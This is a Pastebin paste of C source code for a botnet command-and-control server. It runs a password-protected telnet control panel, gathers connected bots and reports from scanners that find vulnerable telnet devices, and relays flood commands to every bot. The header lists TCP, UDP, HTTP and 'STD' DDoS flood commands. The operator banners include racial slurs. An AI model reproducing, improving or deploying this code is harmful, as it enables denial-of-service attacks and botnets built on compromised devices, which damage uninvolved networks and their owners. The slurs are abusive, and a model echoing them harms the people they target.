Advertisement
DaddyDanCodes

Daddy Dans custom Server.c

Aug 16th, 2017
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.21 KB | None | 0 0
  1. // [ GENERAL COMMANDS ]
  2. // !* TCPFLOOD <IP> <PORT> <TIME> <SPOOFITS> <METHOD> <PACKETS> <BOT-INTERVALS>
  3. // !* UDPFLOOD <IP> <PORT> <TIME> <SPOOFITS> <PACKETS> <BOT-INTERVALS>
  4. // !* GHPFLOOD <METHOD> <URL> <PORT> / <TIME> <POWER>
  5. // !* STDFLOOD <IP> <PORT> <TIME>
  6. // !* CLEAR 'Refreshes the screen
  7. // Sorry no HELP lines maybe ill add it later (Means no HELP command)
  8. // make DaddyDan.txt for logins
  9. //
  10. //
  11.  
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <stdint.h>
  16. #include <inttypes.h>
  17. #include <string.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <netdb.h>
  21. #include <unistd.h>
  22. #include <time.h>
  23. #include <fcntl.h>
  24. #include <sys/epoll.h>
  25. #include <errno.h>
  26. #include <pthread.h>
  27. #include <signal.h>
  28. #include <arpa/inet.h>
  29. #define MAXFDS 1000000
  30.  
  31. struct login_info {
  32. char username[100];
  33. char password[100];
  34. };
  35. static struct login_info accounts[100]; //Edit if selling spots witch i wouldnt
  36. struct clientdata_t {
  37. uint32_t ip;
  38. char connected;
  39. } clients[MAXFDS];
  40. struct telnetdata_t {
  41. int connected;
  42. } managements[MAXFDS];
  43. struct args {
  44. int sock;
  45. struct sockaddr_in cli_addr;
  46. };
  47. static volatile FILE *telFD;
  48. static volatile FILE *fileFD;
  49. static volatile int epollFD = 0;
  50. static volatile int listenFD = 0;
  51. static volatile int WeedUsersConnected = 0;
  52. static volatile int TELFound = 0;
  53. static volatile int scannerreport;
  54.  
  55. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  56. int total = 0, got = 1;
  57. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  58. return got;
  59. }
  60. void trim(char *str) {
  61. int i;
  62. int begin = 0;
  63. int end = strlen(str) - 1;
  64. while (isspace(str[begin])) begin++;
  65. while ((end >= begin) && isspace(str[end])) end--;
  66. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  67. str[i - begin] = '\0';
  68. }
  69. static int make_socket_non_blocking (int sfd) {
  70. int flags, s;
  71. flags = fcntl (sfd, F_GETFL, 0);
  72. if (flags == -1) {
  73. perror ("fcntl");
  74. return -1;
  75. }
  76. flags |= O_NONBLOCK;
  77. s = fcntl (sfd, F_SETFL, flags);
  78. if (s == -1) {
  79. perror ("fcntl");
  80. return -1;
  81. }
  82. return 0;
  83. }
  84. static int create_and_bind (char *port) {
  85. struct addrinfo hints;
  86. struct addrinfo *result, *rp;
  87. int s, sfd;
  88. memset (&hints, 0, sizeof (struct addrinfo));
  89. hints.ai_family = AF_UNSPEC;
  90. hints.ai_socktype = SOCK_STREAM;
  91. hints.ai_flags = AI_PASSIVE;
  92. s = getaddrinfo (NULL, port, &hints, &result);
  93. if (s != 0) {
  94. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  95. return -1;
  96. }
  97. for (rp = result; rp != NULL; rp = rp->ai_next) {
  98. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  99. if (sfd == -1) continue;
  100. int yes = 1;
  101. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  102. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  103. if (s == 0) {
  104. break;
  105. }
  106. close (sfd);
  107. }
  108. if (rp == NULL) {
  109. fprintf (stderr, "Could not bind\n");
  110. return -1;
  111. }
  112. freeaddrinfo (result);
  113. return sfd;
  114. }
  115. void broadcast(char *msg, int us, char *sender)
  116. {
  117. int sendMGM = 1;
  118. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  119. char *wot = malloc(strlen(msg) + 10);
  120. memset(wot, 0, strlen(msg) + 10);
  121. strcpy(wot, msg);
  122. trim(wot);
  123. time_t rawtime;
  124. struct tm * timeinfo;
  125. time(&rawtime);
  126. timeinfo = localtime(&rawtime);
  127. char *timestamp = asctime(timeinfo);
  128. trim(timestamp);
  129. int i;
  130. for(i = 0; i < MAXFDS; i++)
  131. {
  132. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  133. if(sendMGM && managements[i].connected)
  134. {
  135. send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  136. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  137. send(i, ": ", 2, MSG_NOSIGNAL);
  138. }
  139. printf("sent to fd: %d\n", i);
  140. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  141. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[0;37m~$ \x1b[0m ", 13, MSG_NOSIGNAL);
  142. else send(i, "\n", 1, MSG_NOSIGNAL);
  143. }
  144. free(wot);
  145. }
  146. void *BotEventLoop(void *useless) {
  147. struct epoll_event event;
  148. struct epoll_event *events;
  149. int s;
  150. events = calloc (MAXFDS, sizeof event);
  151. while (1) {
  152. int n, i;
  153. n = epoll_wait (epollFD, events, MAXFDS, -1);
  154. for (i = 0; i < n; i++) {
  155. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  156. clients[events[i].data.fd].connected = 0;
  157. close(events[i].data.fd);
  158. continue;
  159. }
  160. else if (listenFD == events[i].data.fd) {
  161. while (1) {
  162. struct sockaddr in_addr;
  163. socklen_t in_len;
  164. int infd, ipIndex;
  165.  
  166. in_len = sizeof in_addr;
  167. infd = accept (listenFD, &in_addr, &in_len);
  168. if (infd == -1) {
  169. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  170. else {
  171. perror ("accept");
  172. break;
  173. }
  174. }
  175.  
  176. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  177. int dup = 0;
  178. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  179. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  180. if(clients[ipIndex].ip == clients[infd].ip) {
  181. dup = 1;
  182. break;
  183. }}
  184. if(dup) {
  185. if(send(infd, "!* KILL\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  186. close(infd);
  187. continue;
  188. }
  189. s = make_socket_non_blocking (infd);
  190. if (s == -1) { close(infd); break; }
  191. event.data.fd = infd;
  192. event.events = EPOLLIN | EPOLLET;
  193. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  194. if (s == -1) {
  195. perror ("epoll_ctl");
  196. close(infd);
  197. break;
  198. }
  199. clients[infd].connected = 1;
  200. }
  201. continue;
  202. }
  203. else {
  204. int datafd = events[i].data.fd;
  205. struct clientdata_t *client = &(clients[datafd]);
  206. int done = 0;
  207. client->connected = 1;
  208. while (1) {
  209. ssize_t count;
  210. char buf[2048];
  211. memset(buf, 0, sizeof buf);
  212. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  213. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  214. trim(buf);
  215. if(strcmp(buf, "PING") == 0) {
  216. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  217. continue;
  218. }
  219. if(strstr(buf, "REPORT ") == buf) {
  220. char *line = strstr(buf, "REPORT ") + 7;
  221. fprintf(telFD, "%s\n", line);
  222. fflush(telFD);
  223. TELFound++;
  224. continue;
  225. }
  226. if(strstr(buf, "PROBING") == buf) {
  227. char *line = strstr(buf, "PROBING");
  228. scannerreport = 1;
  229. continue;
  230. }
  231. if(strstr(buf, "REMOVING PROBE") == buf) {
  232. char *line = strstr(buf, "REMOVING PROBE");
  233. scannerreport = 0;
  234. continue;
  235. }
  236. if(strcmp(buf, "PONG") == 0) {
  237. continue;
  238. }
  239. printf("buf: \"%s\"\n", buf);
  240. }
  241. if (count == -1) {
  242. if (errno != EAGAIN) {
  243. done = 1;
  244. }
  245. break;
  246. }
  247. else if (count == 0) {
  248. done = 1;
  249. break;
  250. }
  251. if (done) {
  252. client->connected = 0;
  253. close(datafd);
  254. }}}}}}
  255. unsigned int HighBotsConnected() {
  256. int i = 0, total = 0;
  257. for(i = 0; i < MAXFDS; i++) {
  258. if(!clients[i].connected) continue;
  259. total++;
  260. }
  261. return total;
  262. }
  263. void *TitleWriter(void *sock) {
  264. int datafd = (int)sock;
  265. char string[2048];
  266. while(1) {
  267. memset(string, 0, 2048);
  268. sprintf(string, "%c]0;Welcome - Bots: %d | Telnet Devices: %d | Niggers: %d%c", '\033', HighBotsConnected(), TELFound, WeedUsersConnected, '\007');
  269. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  270. sleep(2);
  271. }}
  272. int Find_Login(char *str) {
  273. FILE *fp;
  274. int line_num = 0;
  275. int find_result = 0, find_line=0;
  276. char temp[512];
  277.  
  278. if((fp = fopen("DaddyDan.txt", "r")) == NULL){
  279. return(-1);
  280. }
  281. while(fgets(temp, 512, fp) != NULL){
  282. if((strstr(temp, str)) != NULL){
  283. find_result++;
  284. find_line = line_num;
  285. }
  286. line_num++;
  287. }
  288. if(fp)
  289. fclose(fp);
  290. if(find_result == 0)return 0;
  291. return find_line;
  292. }
  293. void *BotWorker(void *sock) {
  294. int datafd = (int)sock;
  295. int find_line;
  296. WeedUsersConnected++;
  297. pthread_t title;
  298. char buf[2048];
  299. char* username;
  300. char* password;
  301. memset(buf, 0, sizeof buf);
  302. char botnet[2048];
  303. memset(botnet, 0, 2048);
  304. char botcount [2048];
  305. memset(botcount, 0, 2048);
  306. char statuscount [2048];
  307. memset(statuscount, 0, 2048);
  308.  
  309. FILE *fp;
  310. int i=0;
  311. int c;
  312. fp=fopen("DaddyDan.txt", "r");
  313. while(!feof(fp)) {
  314. c=fgetc(fp);
  315. ++i;
  316. }
  317. int j=0;
  318. rewind(fp);
  319. while(j!=i-1) {
  320. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  321. ++j;
  322. }
  323.  
  324. if(send(datafd, "\x1b[30mUSERNAME:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  325. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  326. trim(buf);
  327. char* nickstring;
  328. sprintf(accounts[find_line].username, buf);
  329. nickstring = ("%s", buf);
  330. find_line = Find_Login(nickstring);
  331. if(strcmp(nickstring, accounts[find_line].username) == 0){
  332. if(send(datafd, "\x1b[30mPASSWORD:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  333. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  334.  
  335. char clearscreen [2048];
  336. memset(clearscreen, 0, 2048);
  337. sprintf(clearscreen, "\033[1A");
  338. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  339.  
  340. trim(buf);
  341. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  342. memset(buf, 0, 2048);
  343. goto P0NY;
  344. }
  345. failed:
  346. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  347. char nothigh_line1[100];
  348. char nothigh_line2[100];
  349. char nothigh_line3[100];
  350. char nothigh_line4[100];
  351.  
  352. sprintf(nothigh_line1, "\x1b[0;32m***********************\r\n");
  353. sprintf(nothigh_line2, "\x1b[0;32m** IF U AIN'T HIGH **\r\n");
  354. sprintf(nothigh_line3, "\x1b[0;32m** FUCK OFF MY NIGGA **\r\n");
  355. sprintf(nothigh_line4, "\x1b[0;32m***********************\r\n");
  356. if(send(datafd, nothigh_line1, strlen(nothigh_line1), MSG_NOSIGNAL) == -1) goto end;
  357. if(send(datafd, nothigh_line2, strlen(nothigh_line2), MSG_NOSIGNAL) == -1) goto end;
  358. if(send(datafd, nothigh_line3, strlen(nothigh_line3), MSG_NOSIGNAL) == -1) goto end;
  359. if(send(datafd, nothigh_line4, strlen(nothigh_line4), MSG_NOSIGNAL) == -1) goto end;
  360. sleep(5);
  361. goto end;
  362.  
  363. P0NY:
  364. pthread_create(&title, NULL, &TitleWriter, sock);
  365. char madhigh_line1 [5000];
  366.  
  367. sprintf(madhigh_line1, "\x1b[0;31m This Botnet is on Steroids\r\n");
  368.  
  369. if(send(datafd, madhigh_line1, strlen(madhigh_line1), MSG_NOSIGNAL) == -1) goto end;
  370. while(1) {
  371. if(send(datafd, "\x1b[1;31m~$ \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  372. break;
  373. }
  374. if(strstr(buf, "!* UDPFLOOD"))
  375. {
  376. sprintf(botnet, "Succesfully Sent A UDP FLOOD\r\n");
  377. if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  378. }
  379. if(strstr(buf, "!* STDFLOOD"))
  380. {
  381. sprintf(botnet, "Succesfully Sent A STD FLOOD\r\n");
  382. if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  383. }
  384. if(strstr(buf, "!* TCPFLOOD"))
  385. {
  386. sprintf(botnet, "Succesfully Sent A TCP FLOOD\r\n");
  387. if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  388. }
  389. if(strstr(buf, "!* GHPFLOOD"))
  390. {
  391. sprintf(botnet, "Succesfully Sent A GHP FLOOD\r\n");
  392. if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  393. }
  394. pthread_create(&title, NULL, &TitleWriter, sock);
  395. managements[datafd].connected = 1;
  396.  
  397. while(fdgets(buf, sizeof buf, datafd) > 0) {
  398. if(strstr(buf, "!* CLEAR")) {
  399. char clearscreen [2048];
  400. memset(clearscreen, 0, 2048);
  401. sprintf(clearscreen, "\033[2J\033[1;1H");
  402. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  403. if(send(datafd, madhigh_line1, strlen(madhigh_line1), MSG_NOSIGNAL) == -1) goto end;
  404. while(1) {
  405. if(send(datafd, "\x1b[1;12m~$ \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  406. break;
  407. }
  408. continue;
  409. }
  410.  
  411. trim(buf);
  412. if(send(datafd, "\x1b[1;31m~$ \x1b[37m", 11, MSG_NOSIGNAL) == -1) goto end;
  413. if(strlen(buf) == 0) continue;
  414. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  415.  
  416. FILE *LogFile;
  417. LogFile = fopen("server.log", "a");
  418. time_t now;
  419. struct tm *gmt;
  420. char formatted_gmt [50];
  421. char lcltime[50];
  422. now = time(NULL);
  423. gmt = gmtime(&now);
  424. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  425. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  426. fclose(LogFile);
  427. broadcast(buf, datafd, accounts[find_line].username);
  428. memset(buf, 0, 2048);
  429. }
  430.  
  431. end:
  432. managements[datafd].connected = 0;
  433. close(datafd);
  434. WeedUsersConnected--;
  435. }
  436. void *BotListener(int port) {
  437. int sockfd, newsockfd;
  438. socklen_t clilen;
  439. struct sockaddr_in serv_addr, cli_addr;
  440. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  441. if (sockfd < 0) perror("ERROR opening socket");
  442. bzero((char *) &serv_addr, sizeof(serv_addr));
  443. serv_addr.sin_family = AF_INET;
  444. serv_addr.sin_addr.s_addr = INADDR_ANY;
  445. serv_addr.sin_port = htons(port);
  446. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  447. listen(sockfd,5);
  448. clilen = sizeof(cli_addr);
  449. while(1) {
  450. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  451. if (newsockfd < 0) perror("ERROR on accept");
  452. pthread_t thread;
  453. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  454. }}
  455. int main (int argc, char *argv[], void *sock) {
  456. signal(SIGPIPE, SIG_IGN);
  457. int s, threads, port;
  458. struct epoll_event event;
  459. if (argc != 4) {
  460. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  461. exit (EXIT_FAILURE);
  462. }
  463. port = atoi(argv[3]);
  464. telFD = fopen("telnet.txt", "a+");
  465. threads = atoi(argv[2]);
  466. listenFD = create_and_bind (argv[1]);
  467. if (listenFD == -1) abort ();
  468. s = make_socket_non_blocking (listenFD);
  469. if (s == -1) abort ();
  470. s = listen (listenFD, SOMAXCONN);
  471. if (s == -1) {
  472. perror ("listen");
  473. abort ();
  474. }
  475. epollFD = epoll_create1 (0);
  476. if (epollFD == -1) {
  477. perror ("epoll_create");
  478. abort ();
  479. }
  480. event.data.fd = listenFD;
  481. event.events = EPOLLIN | EPOLLET;
  482. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  483. if (s == -1) {
  484. perror ("epoll_ctl");
  485. abort ();
  486. }
  487. pthread_t thread[threads + 2];
  488. while(threads--) {
  489. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  490. }
  491. pthread_create(&thread[0], NULL, &BotListener, port);
  492. while(1) {
  493. broadcast("PING", -1, "LEL");
  494. sleep(60);
  495. }
  496. close (listenFD);
  497. return EXIT_SUCCESS;
  498. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement